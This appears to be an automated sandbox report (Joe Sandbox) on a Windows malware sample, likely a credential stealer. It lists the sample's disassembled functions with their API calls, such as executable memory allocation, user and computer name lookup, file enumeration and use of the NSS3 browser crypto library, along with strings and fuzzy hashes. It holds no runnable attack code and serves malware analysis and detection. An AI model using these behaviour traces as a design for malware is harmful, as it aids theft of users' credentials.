API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: dd1a26b65a0f196927a5ab1d01b3a997224839d946b3470995d6560889411a2b
Instruction ID: df39fec182a976cf14ea74314fd1cc2d61bc45c83f0c5b543270b10835f39725
Opcode Fuzzy Hash: dd1a26b65a0f196927a5ab1d01b3a997224839d946b3470995d6560889411a2b
Instruction Fuzzy Hash: B4715271A111089BCB04FBA1DCA6DEE733AAF14314F40456FF50267195EF387A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
Instruction ID: 1e55e6aee22da07579867dcc14e26085db0c1923c06382e7ddd462ac09197dec
Opcode Fuzzy Hash: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
Instruction Fuzzy Hash: 6041D474A00209EFCB54CF58C494BADBBB1FF44314F1486A9E949AB385D735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416CBC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416CBC), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction ID: a2dd58c0224e163af538114889642f36ecbeef109afe3d50a53e5cb7169f74e2
Opcode Fuzzy Hash: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction Fuzzy Hash: 74F0E2B1A42208BBE7149AA4AC59FAFB799E705B04F300459F540E3290D571AF00DAA4

Function 00418F20 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction ID: 622f2f336d6b1c39152e8ed1c6124f6159486e78b27092244718ebba6cc61b65
Opcode Fuzzy Hash: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction Fuzzy Hash: 7EF01C70D0520CEBCB00EF94D4496DDBB75EB00324F10819AE82967280DB385B96CB89

Function 00418F70 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction ID: e79076dc3140f9edc5567924fb21932d6a0b2d79ef3805787682db2ce51b8011
Opcode Fuzzy Hash: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction Fuzzy Hash: 92E0127194434C6BDB51DB50CC96FDD776D9B44B11F004295BA0C5B1C0DE70AB858B95

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction ID: bcf4cddec8ba3652d3daa4bfa83a7295d39fc22ea0064294e7a9f420d8d9705c
Opcode Fuzzy Hash: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction Fuzzy Hash: E1E0ECB5D5820152DB1473B6AC06B5B339D5B1934EF04142FF90896252FE29F8404169

Function 00418FC0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 4258c76c4f47740e30e0af574e778a78e5a168a413d5b1b985f8475468444836
Instruction ID: 2ef851ca14c40c78e639e083eff5f81397fed5015ff254102f8bdb6ea656854d
Opcode Fuzzy Hash: 4258c76c4f47740e30e0af574e778a78e5a168a413d5b1b985f8475468444836
Instruction Fuzzy Hash: 3901E434904108EBCB15DF98C595BEDBBB1AF08308F24809AE9056B381C379AE84EF49

Function 00409910 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,004108B9,?,?), ref: 00409918

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction ID: 7a81cf42230454625edcc1d807e760a9f48c6c1e1b7ee97c20b10c4417f739aa
Opcode Fuzzy Hash: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction Fuzzy Hash: F3F054B4D00208FBDB00EFA5C846B9EBBB49B08304F1085A9F905A7381E674AB14CB95

Non-executed Functions

Function 6C756D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C85A8EC,0000006C), ref: 6C756DC6
memcpy.VCRUNTIME140(?,6C85A958,0000006C), ref: 6C756DDB
memcpy.VCRUNTIME140(?,6C85A9C4,00000078), ref: 6C756DF1
memcpy.VCRUNTIME140(?,6C85AA3C,0000006C), ref: 6C756E06
memcpy.VCRUNTIME140(?,6C85AAA8,00000060), ref: 6C756E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C756E38

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C756E76
TlsGetValue.KERNEL32 ref: 6C75726F
EnterCriticalSection.KERNEL32(?), ref: 6C757283

Strings

!, xrefs: 6C757123

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: b3243138605fa6916c91f8b739cd1daf6e5c4c6beb06c224da9ec30faff95c96
Instruction ID: 2e90bc0f4256b576e6d53c60add84b00bcb4fbf8e7d169c8aa1ea6849b0b0b7c
Opcode Fuzzy Hash: b3243138605fa6916c91f8b739cd1daf6e5c4c6beb06c224da9ec30faff95c96
Instruction Fuzzy Hash: AF7290B5D052189FDF60DF28CD88799BBB5BF49308F5081A9D80DA7741EB31AA94CF90

Function 00413B00 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413B1C
FindFirstFileA.KERNEL32(?,?), ref: 00413B33
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

%s\%s, xrefs: 00413BCA
%s\*, xrefs: 00413B10
q?A, xrefs: 00413ED2, 00413E95, 00413DB9, 00413B59, 00413DBC, 00413E98
%s\%s, xrefs: 00413CBF
%s%s, xrefs: 00413CFD
%s\%s\%s, xrefs: 00413C9A

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$q?A
API String ID: 1125553467-4052298153
Opcode ID: 5188e768485120e5afde4a9c889630e7fccae7ad22d18829d963d7ba80f2afd1
Instruction ID: 118bc6de907018410b19fab89ebe74f6f374c1ff32bc5bb8bfd4c4c53b142975
Opcode Fuzzy Hash: 5188e768485120e5afde4a9c889630e7fccae7ad22d18829d963d7ba80f2afd1
Instruction Fuzzy Hash: E9A141B1A042189BDB24DF64DC85FEA7379BB48301F44458EF60D96181EB74AB88CF66

Function 6C6C3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C6C3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C6C410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6C449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C4452, 6C6C4486, 6C6C44EA, 6C6C4571, 6C6C4580, 6C6C458F, 6C6C475A, 6C6C47FA
%s at line %d of [%.10s], xrefs: 6C6C4495, 6C6C44F9, 6C6C459E, 6C6C4769, 6C6C4809
database corruption, xrefs: 6C6C4490, 6C6C44F4, 6C6C4599, 6C6C4764, 6C6C4804

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: ce447effe49ed2e7cc6a5e68d29679beb30e4307b896ca551717229ec66fa038
Instruction ID: 7bfd44c630b161e64af39f0c600ce9822ae9f0b8205389fc8cc1e6058d51433c
Opcode Fuzzy Hash: ce447effe49ed2e7cc6a5e68d29679beb30e4307b896ca551717229ec66fa038
Instruction Fuzzy Hash: 20829C74B002058FCB14CF69C580BEAB7B2FF49318F2585A9D905ABB51D771EC42CB9A

Function 6C79AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C79ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C79ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C79ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C79AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C79ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C79ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C79ADF0

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C79B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C79B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C79B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C79B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C79B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C79B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C79B40C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 1cffc1218286d3971885bb5613d700bfa87168938f301a2c6e5c979eafd28632
Instruction ID: 79cfe04762c59bb64c710b66e227c6f977d43bef82f3dd089744a606fd7f2c4a
Opcode Fuzzy Hash: 1cffc1218286d3971885bb5613d700bfa87168938f301a2c6e5c979eafd28632
Instruction Fuzzy Hash: 0D22CF71904300AFE720CF14DE49B9A77E1BF84318F24853CE9595B7A2E772E859CB92

Function 6C71ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C71ED38

Part of subcall function 6C6B4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C71EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C71EFE4

Part of subcall function 6C7DDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C6B5001,?,00000003,00000000), ref: 6C7DDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C71F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C71F129
sqlite3_mprintf.NSS3(optimize), ref: 6C71F1D1
sqlite3_free.NSS3(?), ref: 6C71F368

Strings

fts4aux, xrefs: 6C71ECF9
optimize, xrefs: 6C71F199, 6C71F1CC, 6C71F211
matchinfo, xrefs: 6C71F04F, 6C71F082, 6C71F0C2, 6C71F0F2, 6C71F124, 6C71F169
unicode61, xrefs: 6C71EDB5
fts3_tokenizer, xrefs: 6C71EE1A, 6C71EEA8
offsets, xrefs: 6C71EFAF, 6C71EFDF, 6C71F01F
snippet, xrefs: 6C71EF05, 6C71EF37, 6C71EF7C
simple, xrefs: 6C71ED79
fts3, xrefs: 6C71F247
porter, xrefs: 6C71ED97
fts4, xrefs: 6C71F2AD
fts3tokenize, xrefs: 6C71F30F

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
